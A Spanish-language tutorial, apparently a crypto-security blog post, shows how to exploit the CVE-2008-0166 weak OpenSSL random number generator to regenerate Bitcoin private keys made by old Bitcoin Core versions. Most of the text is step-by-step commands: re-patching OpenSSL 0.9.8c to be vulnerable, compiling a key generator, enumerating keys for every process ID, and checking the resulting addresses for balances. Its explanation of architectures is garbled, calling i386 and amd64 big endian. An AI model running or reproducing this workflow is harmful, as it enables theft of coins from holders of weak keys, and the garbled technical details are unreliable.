
Buscar monedas BTC en versiones anteriores de Bitcoin Core con vulnerabilidad crítica OpenSSL 0.9.8 CVE-2008-0166
En este artículo, crearemos una herramienta que generará direcciones de Bitcoin (P2PKH) utilizando la vulnerabilidad CVE-2008-0166. Este es un proyecto de investigación para encontrar monedas BTC en versiones anteriores del cliente de software Bitcoin Core.
Generador de números aleatorios que genera números predecibles CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 Detected
La versión de vulnerabilidad crítica OpenSSL 0.9.8 CVE-2008-0166 fue poblada únicamente con el ID del proceso. Debido a las diferencias entre endianness y sizeof(long), la salida depende de la arquitectura: 32 -bits big endian (por ejemplo, i386), 64 -bits big endian (por ejemplo, amd64, ia64), 32 -bits big endian (por ejemplo, powerpc, sparc). PID 0 es el núcleo, y PID_MAX (32768) no se alcanza mediante portabilidad, por lo que había 32767 flujos de números aleatorios posibles para cada arquitectura.
El cliente de software Bitcoin Core utiliza OpenSSL. Específicamente, utiliza una función «EC_KEY_generate_key()» para generar direcciones de Bitcoin (como una clave) para recibir pagos. Las versiones anteriores de Bitcoin Core generan y almacenan 100 claves en wallet.dat
Una nueva clave se genera solo cuando se recibe un pago de Bitcoin. Por lo tanto, el cliente de software Bitcoin Core mantiene un grupo de 100 claves de Bitcoin no utilizadas (direcciones). El estado del generador de números aleatorios interno depende de qué otras llamadas se hicieron a la biblioteca OpenSSL antes de la llamada 'EC_KEY_generate_key()'. Desafíos que afectan el estado interno del RNG: «RAND_add(8)», «RAND_bytes(8)» y «RAND_bytes(32)».
Por lo tanto, la investigación consistió en revisar muchas fuentes antiguas de bitcoin para descubrir qué llamadas se realizaron que afectaron el estado interno del RNG antes de la llamada «EC_KEY_generate_key()». La ruta de llamada cambia entre versiones del cliente de software Bitcoin Core
El estudio se centró en las siguientes versiones:
| Fecha de lanzamiento | Versión |
Nuestro objetivo es generar claves privadas para cada versión del cliente de software Bitcoin Core, para cada arquitectura (le32/le64), para cada ID de proceso y para direcciones de Bitcoin (P2PKH), utilizando un número aleatorio de una vulnerabilidad crítica. OpenSSL 0.9.8.
En última instancia, crearemos un generador de direcciones de Bitcoin (P2PKH) y todo se guardará en un archivo result.txt
Todo se almacenará en el almacenamiento de archivos de Google Drive
Para ello, utilizaremos el kit de distribución «Ubuntu 18.04.5 LTS» de Google Colab
Anteriormente grabamos una instrucción en video: «TERMINAL en Google Colab crea todas las comodidades para trabajar en GITHUB»
Abra Google Colab en Terminal [TerminalGoogleColab]
Ejecutemos el comando:
cat /etc/lsb-release
«Ubuntu 18.04.5 LTS»
Vayamos al repositorio «CryptoDeepTools» y echemos un vistazo a los detalles
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
Actualice e instale g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y
instalar g++
sudo apt-get install libgmp3-dev libmpfr-dev -y
instalar paquetes libgmp3-dev libmpfr-dev
Para hacer OpenSSL vulnerable nuevamente como en CVE-2008-0166
Descargue openssl-0.9.8c.tar.gz y parchee los archivos del sistema
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln
ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls
cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh
¡cryptodeepbtcgen creado exitosamente!
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
Ejecutar cryptodeepbtcgen
Todo se guardará en el almacenamiento de archivos Google Drive como un archivo de texto result.txt
Comprobando la clave privada en el sitio web de bitaddress
A continuación, queda comprobar todas las direcciones de Bitcoin generadas para detectar la presencia de monedas BTC; para ello, podemos usar el script de Python: bitcoin-checker.py
Vídeo: https://youtu.be/zHkXups2I8k
Fuente: https://cryptodeeptech.ru/vulnerable-openssl
| Dirección de donación | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |